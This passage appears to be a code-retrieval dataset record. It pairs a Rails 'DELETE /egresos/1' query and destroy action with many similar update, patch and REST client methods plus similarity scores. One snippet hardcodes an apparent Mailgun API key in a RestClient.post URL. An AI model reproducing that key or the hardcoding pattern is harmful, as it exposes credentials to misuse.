format.html { redirect_to @ejemplo, notice: 'Ejemplo was successfully updated.' }\n format.json { render :show, status: :ok, location: @ejemplo }\n else\n format.html { render :edit }\n format.json { render json: @ejemplo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @jogo.update(jogo_params)\n format.html { redirect_to @jogo, notice: 'Jogo was successfully updated.' }\n format.json { render :show, status: :ok, location: @jogo }\n else\n format.html { render :edit }\n format.json { render json: @jogo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(carpeta_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Carpeta was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n if @ginasio.update_attributes(params[:ginasio])\n format.html { redirect_to @ginasio, :flash => { :success => 'Dados do ginasio alterados com successo!' } }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ginasio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @referee.update(referee_params)\n format.html { redirect_to [:admin, @referee], notice: 'Referee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @referee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @rest_api.update(rest_api_params)\n format.html { redirect_to @rest_api, notice: 'Rest api was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rest_api.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @peso.update(peso_params)\n format.html { redirect_to @peso, notice: 'Peso was successfully updated.' }\n format.json { render :show, status: :ok, location: @peso }\n else\n format.html { render :edit }\n format.json { render json: @peso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(etiqueta_params)\n format.html { redirect_to @objeto, notice: 'Etiqueta was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def update\r\n respond_to do |format|\r\n if @sivic_pessoa.update(sivic_pessoa_params)\r\n format.html { redirect_to @sivic_pessoa, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_pessoa.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @restroom.update(restroom_params)\n format.html { redirect_to @restroom, notice: 'Restroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @restroom.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n guardaRelaciones(EspecieCatalogo)\n guardaRelaciones(EspecieRegion)\n guardaRelaciones(NombreRegion)\n guardaRelaciones(NombreRegionBibliografia)\n\n respond_to do |format|\n argumentosRelaciones=especie_params\n argumentosRelaciones.delete(:especies_catalogos_attributes)\n argumentosRelaciones.delete(:especies_regiones_attributes)\n argumentosRelaciones.delete(:nombres_regiones_attributes)\n argumentosRelaciones.delete(:nombres_regiones_bibliografias_attributes)\n\n if @especie.update(argumentosRelaciones) && params[:commit].eql?('Guardar')\n descripcion=\"Actualizó el taxón #{@especie.nombre_cientifico} (#{@especie.id})\"\n bitacora=Bitacora.new(:descripcion => descripcion, :usuario_id => current_usuario.id)\n bitacora.save\n format.html { redirect_to @especie, notice: \"El taxón #{@especie.nombre_cientifico} fue modificado exitosamente.\" }\n format.json { head :no_content }\n elsif @especie.update(argumentosRelaciones) && params[:commit].eql?('Guardar y seguir editando')\n descripcion=\"Actualizó el taxón #{@especie.nombre_cientifico} (#{@especie.id})\"\n bitacora=Bitacora.new(:descripcion => descripcion, :usuario_id => current_usuario.id)\n bitacora.save\n #format.html { render action: 'edit' }\n format.html { redirect_to \"/especies/#{@especie.id}/edit\", notice: \"El taxón #{@especie.nombre_cientifico} fue modificado exitosamente.\" }\n #else\n #format.html { render action: 'edit' }\n #format.json { render json: @especie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @comentario_egresado.update(comentario_egresado_params)\n format.html { redirect_to @comentario_egresado, notice: 'Comentario egresado was successfully updated.' }\n format.json { render :show, status: :ok, location: @comentario_egresado }\n else\n format.html { render :edit }\n format.json { render json: @comentario_egresado.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @fotos_empresa.update(fotos_empresa_params)\n format.html { redirect_to @fotos_empresa, notice: 'Fotos empresa was successfully updated.' }\n format.json { render :show, status: :ok, location: @fotos_empresa }\n else\n format.html { render :edit }\n format.json { render json: @fotos_empresa.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end", "def update\n respond_to do |format|\n if @efectivo.update(efectivo_params)\n format.html { redirect_to @efectivo, notice: 'Efectivo was successfully updated.' }\n format.json { render :show, status: :ok, location: @efectivo }\n else\n format.html { render :edit }\n format.json { render json: @efectivo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end", "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n @productos = Car.where(:pedidoID => params[:id])\n respond_to do |format| \n if @pedido.update(pedido_params)\n \n format.html { redirect_to \"/\", notice: 'Pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @pedido }\n RestClient.post \"https://api:key-e7d79c66e74391fdf48b657624f23ddc\"\\\n \"@api.mailgun.net/v3/sandboxb9c2dadab0ea49f6b7130d1091646c59.mailgun.org/messages\",\n :from => \"Sistema de Pedidos <[email protected]>\",\n #:to => \"[email protected]\",\n :to => \"[email protected]\",\n :subject => \"Solicitud de Pedido\",\n :html => (render_to_string(template: \"../views/pedidos/email\")).to_str\n else\n format.html { render :edit }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @emprego.update(emprego_params)\n format.html { redirect_to @emprego, notice: 'Emprego was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @emprego.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ocorrencia.update(ocorrencia_params)\n format.html { redirect_to @ocorrencia, notice: 'Ocorrencia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ocorrencia.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end", "def update\r\n respond_to do |format|\r\n @egresso.skip_fields_validation = false\r\n if @egresso.update(egresso_params)\r\n if current_admin.try(:adm?)\r\n format.html { redirect_to egressos_path, notice: 'Egresso atualizado com sucesso.' }\r\n format.json { render :show, status: :ok, location: egressos_path }\r\n else\r\n format.html { redirect_to :back, notice: 'Dados atualizados com sucesso.' }\r\n format.json { render :show, status: :ok, location: :back }\r\n end\r\n\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @egresso.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update\n respond_to do |format|\n if @evolucao_tipo.update(evolucao_tipo_params)\n format.html { redirect_to @evolucao_tipo, notice: 'Evolucao tipo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @evolucao_tipo.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update\n respond_to do |format|\n if @especie_region.update(especie_region_params)\n format.html { redirect_to @especie_region, notice: 'Especie region was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @especie_region.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end", "def update\n @cargo_eleicao = CargoEleicao.find(params[:id])\n\n respond_to do |format|\n if @cargo_eleicao.update_attributes(params[:cargo_eleicao])\n format.html { redirect_to @cargo_eleicao, notice: 'Cargo eleicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cargo_eleicao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gabinete_object.update(gabinete_object_params)\n format.html { redirect_to creation_gabinete_objects_path, notice: 'Gabinete object was successfully updated.' }\n format.json { render :show, status: :ok, location: @gabinete_object }\n else\n format.html { render :edit }\n format.json { render json: @gabinete_object.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @referee.update(referee_params)\n format.html { redirect_to root_path, notice: 'Referee was successfully updated.' }\n format.json { render :show, status: :ok, location: @referee }\n else\n format.html { render :edit }\n format.json { render json: @referee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(cliente_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @opcao.update(opcao_params)\n format.html { redirect_to @opcao, notice: 'Opcao atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @opcao }\n else\n format.html { render :edit }\n format.json { render json: @opcao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @escola = Escola.find(params[:id])\n\n respond_to do |format|\n if @escola.update_attributes(params[:escola])\n format.html { redirect_to @escola, :notice => 'Escola was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @escola.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @restora.update(restora_params)\n format.html { redirect_to @restora, notice: 'Restora was successfully updated.' }\n format.json { render :show, status: :ok, location: @restora }\n else\n format.html { render :edit }\n format.json { render json: @restora.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gosok.update(gosok_params)\n format.html { redirect_to gosoks_url, notice: 'Gosok was successfully updated.' }\n format.json { render :show, status: :ok, location: @gosok }\n else\n format.html { render :edit }\n format.json { render json: @gosok.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tiposveiculo.update(tiposveiculo_params)\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tiposveiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @goody = Goody.find(params[:id])\n\n respond_to do |format|\n if @goody.update_attributes(params[:goody])\n format.html { redirect_to @goody, notice: 'Goody was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @goody.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n if @pessoa.update_attributes(params[:pessoa])\n format.html { redirect_to pessoas_path, notice: 'Pessoa atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pessoa.update(pessoa_params)\n format.html { redirect_to @pessoa, notice: 'Cadastro alterado com sucesso!.' }\n format.json { render :show, status: :ok, location: @pessoa }\n else\n format.html { render :edit }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @egallery = Egallery.find(params[:id])\n ###################### edycja opisów zdjęć\n if params[:egalleryps_title].present?\n params[:egalleryps_title].each do |k, v|\n Egalleryp.update(k, :title => v)\n end\n end\n ###################### koniec edycji opisów zdjęć\n\n #######################usuwanie zaznaczonych zdjęć\n if params[:egalleryps_ids].present?\n params[:egalleryps_ids].each do |eg|\n Egalleryp.destroy(eg)\n end\n end\n ###################### koneic usuwania zaznaczonych zdjęć\n\n respond_to do |format|\n if @egallery.update_attributes(params[:egallery])\n format.html { redirect_to(edit_admin_egallery_path(params[:egallery_id]), :notice => 'Galeria została pomyślnie zaktualizowana.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @egallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gestacao.update(gestacao_params)\n format.html { redirect_to @gestacao, notice: 'Gestacao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gestacao.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(operation, path, value)\n response = @client.rest_patch(@data['uri'], 'body' => [{ op: operation, path: path, value: value }])\n @client.response_handler(response)\n end", "def update\n @agente = Agente.find(params[:id])\n\n respond_to do |format|\n if @agente.update_attributes(params[:agente])\n format.html { redirect_to @agente, notice: 'Agente se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agente.errors, status: :unprocessable_entity }\n end\n end\n end", "def pupdate\n @event = Event.find(params[:id])\n respond_to do |format|\n if @event.update_attributes(JSON.parse(params[:event]))\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def update\n respond_to do |format|\n if @enemigo.update(enemigo_params)\n format.html { redirect_to @enemigo, notice: 'Enemigo was successfully updated.' }\n format.json { render :show, status: :ok, location: @enemigo }\n else\n format.html { render :edit }\n format.json { render json: @enemigo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exura = Exura.find(params[:id])\n\n respond_to do |format|\n if @exura.update_attributes(params[:exura])\n format.html { redirect_to @exura, :notice => 'Exura was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @exura.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6490069", "0.6490069", "0.6449782", "0.63338315", "0.6240615", "0.6197203", "0.6178819", "0.6178819", "0.61497384", "0.6121692", "0.6120058", "0.6079346", "0.604075", "0.5971646", "0.5971113", "0.5961105", "0.5919049", "0.5917754", "0.591378", "0.58883876", "0.5879796", "0.58679336", "0.5853934", "0.58371145", "0.5832064", "0.5832064", "0.58228934", "0.58217496", "0.5812404", "0.5798395", "0.5796308", "0.57950103", "0.5791529", "0.57901025", "0.5785711", "0.57822484", "0.57784694", "0.57753205", "0.57743514", "0.57635313", "0.57459384", "0.57378024", "0.5730757", "0.57243985", "0.57243645", "0.57172626", "0.5717018", "0.5711366", "0.5703297", "0.5699715", "0.56984895", "0.5698307", "0.5697996", "0.56956506", "0.5691125", "0.5688024", "0.56876117", "0.5684766", "0.5684263", "0.56807095", "0.5676803", "0.56762695", "0.5673626", "0.5668153", "0.56674415", "0.5664286", "0.5660246", "0.56584", "0.5654559", "0.56495684", "0.5642098", "0.56417334", "0.56402874", "0.56382173", "0.563761", "0.56313384", "0.5629872", "0.562705", "0.56267995", "0.562508", "0.5618043", "0.56157553", "0.5615352", "0.5614288", "0.5614214", "0.5614052", "0.5611467", "0.5608249", "0.5607048", "0.5604111", "0.56029874", "0.5599956", "0.5599864", "0.5597417", "0.55950755", "0.5594466", "0.559332", "0.559303", "0.559303", "0.55893964", "0.55893713" ]
0.0
-1
DELETE /egresos/1 DELETE /egresos/1.json
def destroy @egreso.destroy respond_to do |format| format.html { redirect_to egresos_url, notice: 'Egreso was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n client.delete(\"/#{id}\")\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @resto.destroy\n respond_to do |format|\n format.html { redirect_to restos_url, notice: 'Entry was deleted.' }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def destroy\n @soiree = Soiree.find(params[:id])\n @soiree.destroy\n\n respond_to do |format|\n format.html { redirect_to soirees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exura = Exura.find(params[:id])\n @exura.destroy\n\n respond_to do |format|\n format.html { redirect_to exuras_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n checar_egresso_super\r\n @egresso.destroy\r\n respond_to do |format|\r\n format.html { redirect_to egressos_url, notice: 'Egresso excluído com sucesso.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete\n request(:delete)\n end", "def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @gasto = Gasto.find(params[:id])\n @gasto.destroy\n\n respond_to do |format|\n format.html { redirect_to gastos_url }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @escola = Escola.find(params[:id])\n @escola.destroy\n\n respond_to do |format|\n format.html { redirect_to escolas_url }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete(*rest) end", "def destroy\n @eod.destroy\n respond_to do |format|\n format.html { redirect_to eods_url, notice: 'Eod was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def destroy\n @clientepedido = Clientepedido.find(params[:id])\n @clientepedido.destroy\n\n respond_to do |format|\n format.html { redirect_to clientepedidos_url }\n format.json { head :no_content }\n end\n end", "def delete!\n request! :delete\n end", "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n @eou = Eou.find(params[:id])\n @eou.destroy\n\n respond_to do |format|\n format.html { redirect_to eous_url }\n format.json { head :ok }\n end\n end", "def destroy\n @nodo.destroy\n respond_to do |format|\n format.html { redirect_to nodos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @oeuvre.destroy\n respond_to do |format|\n format.html { redirect_to oeuvres_url, notice: 'Oeuvre was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cegreso.destroy\n respond_to do |format|\n format.html { redirect_to cegresos_url, notice: 'Cegreso was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @referee = Referee.find(params[:id])\n @referee.destroy\n\n respond_to do |format|\n format.html { redirect_to referees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @remito = Remito.find(params[:id])\n @remito.destroy\n\n respond_to do |format|\n format.html { redirect_to remitos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @razmer_go = RazmerGo.find(params[:id])\n @razmer_go.destroy\n\n respond_to do |format|\n format.html { redirect_to razmer_gos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ginasio = Ginasio.find(params[:id])\n @ginasio.destroy\n\n respond_to do |format|\n format.html { redirect_to ginasios_url, :flash => { :notice => 'Ginasio apagado.' } }\n format.json { head :ok }\n end\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @egreso_interno.destroy\n respond_to do |format|\n format.html { redirect_to egreso_internos_url, notice: 'Egreso interno was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @seguidore = Seguidore.find(params[:id])\n @seguidore.destroy\n\n respond_to do |format|\n format.html { redirect_to seguidores_url }\n format.json { head :ok }\n end\n end", "def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @referee.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Referee was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @resa.destroy\n respond_to do |format|\n format.html { redirect_to resas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @especialidad.destroy\n respond_to do |format|\n format.html { redirect_to especialidads_url, notice: 'Servicio eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url }\n format.json { head :no_content }\n end\n end", "def delete(*args)\n request(:delete, *args)\n end", "def destroy\n @refugee.destroy\n respond_to do |format|\n format.html { redirect_to refugees_url, notice: 'Refugee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @riesgo.destroy\n respond_to do |format|\n format.html { redirect_to riesgos_url, notice: 'Riesgo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n \n respond_to do |format|\n RestClient.delete 'localhost:3001/colores/'[email protected]_s, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'}\n format.html { redirect_to colors_url, notice: \"Color was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @etnia = Etnia.find(params[:id])\n @etnia.destroy\n\n respond_to do |format|\n format.html { redirect_to etnias_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exalt = Exalt.find(params[:id])\n @exalt.destroy\n\n respond_to do |format|\n format.html { redirect_to exalts_url }\n format.json { head :ok }\n end\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def destroy\n @esjiaoben.destroy\n respond_to do |format|\n format.html { redirect_to esjiaobens_url, notice: 'Esjiaoben was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n @estagio = Estagio.find(params[:id])\n @estagio.destroy\n\n respond_to do |format|\n format.html { redirect_to(estagios_url) }\n format.xml { head :ok }\n end\n end", "def delete\n api(\"Delete\")\n end", "def delete!\n Recliner.delete(uri)\n end", "def destroy\n @nominee.destroy\n respond_to do |format|\n format.html { redirect_to nominees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end", "def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipoapreensao.destroy\n respond_to do |format|\n format.html { redirect_to tipoapreensoes_url }\n format.json { head :no_content }\n end\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def destroy\n @odontologo = Odontologo.find(params[:id])\n @odontologo.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/administrador/odontologos\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @ingresso.destroy\n respond_to do |format|\n format.html { redirect_to ingressos_url, notice: 'Ingresso was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @odontologia1 = Odontologia1.find(params[:id])\n @odontologia1.destroy\n\n respond_to do |format|\n format.html { redirect_to odontologia1s_url }\n format.json { head :no_content }\n end\n end", "def delete(url, headers={})\n RestClient.delete url, headers\n end", "def destroy\n @redacao.destroy\n respond_to do |format|\n format.html { redirect_to redacaos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @gatineo.destroy\n respond_to do |format|\n format.html { redirect_to gatineos_url, notice: 'Gatineo apagado com sucesso!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @go = Go.find(params[:id])\n @go.destroy\n\n respond_to do |format|\n format.html { redirect_to manager_gos_url }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @autore = Autore.find(params[:id])\n @autore.destroy\n\n respond_to do |format|\n format.html { redirect_to autores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente.destroy\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @obra.destroy\n respond_to do |format|\n format.html { redirect_to obras_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @regraponto.destroy\n respond_to do |format|\n format.html { redirect_to regrapontos_url, notice: 'Regraponto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n set_redireccion\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to @redireccion, notice: 'Imagen was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n arquivo = Arquivo.find(@pregoestitulosgrafico.arquivo_id)\n\n File.delete(arquivo.caminho)\n\n pregoestitulo = Pregoestitulo.find(@pregoestitulosgrafico.pregoestitulo_id)\n \n @pregoestitulosgrafico.destroy\n respond_to do |format|\n format.html { redirect_to pregoestitulo, notice: 'Arquivo excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @fornecedore = Fornecedore.find(params[:id])\n @fornecedore.destroy\n\n respond_to do |format|\n format.html { redirect_to fornecedores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def destroy\n @retroalimentacion = Retroalimentacion.find(params[:id])\n 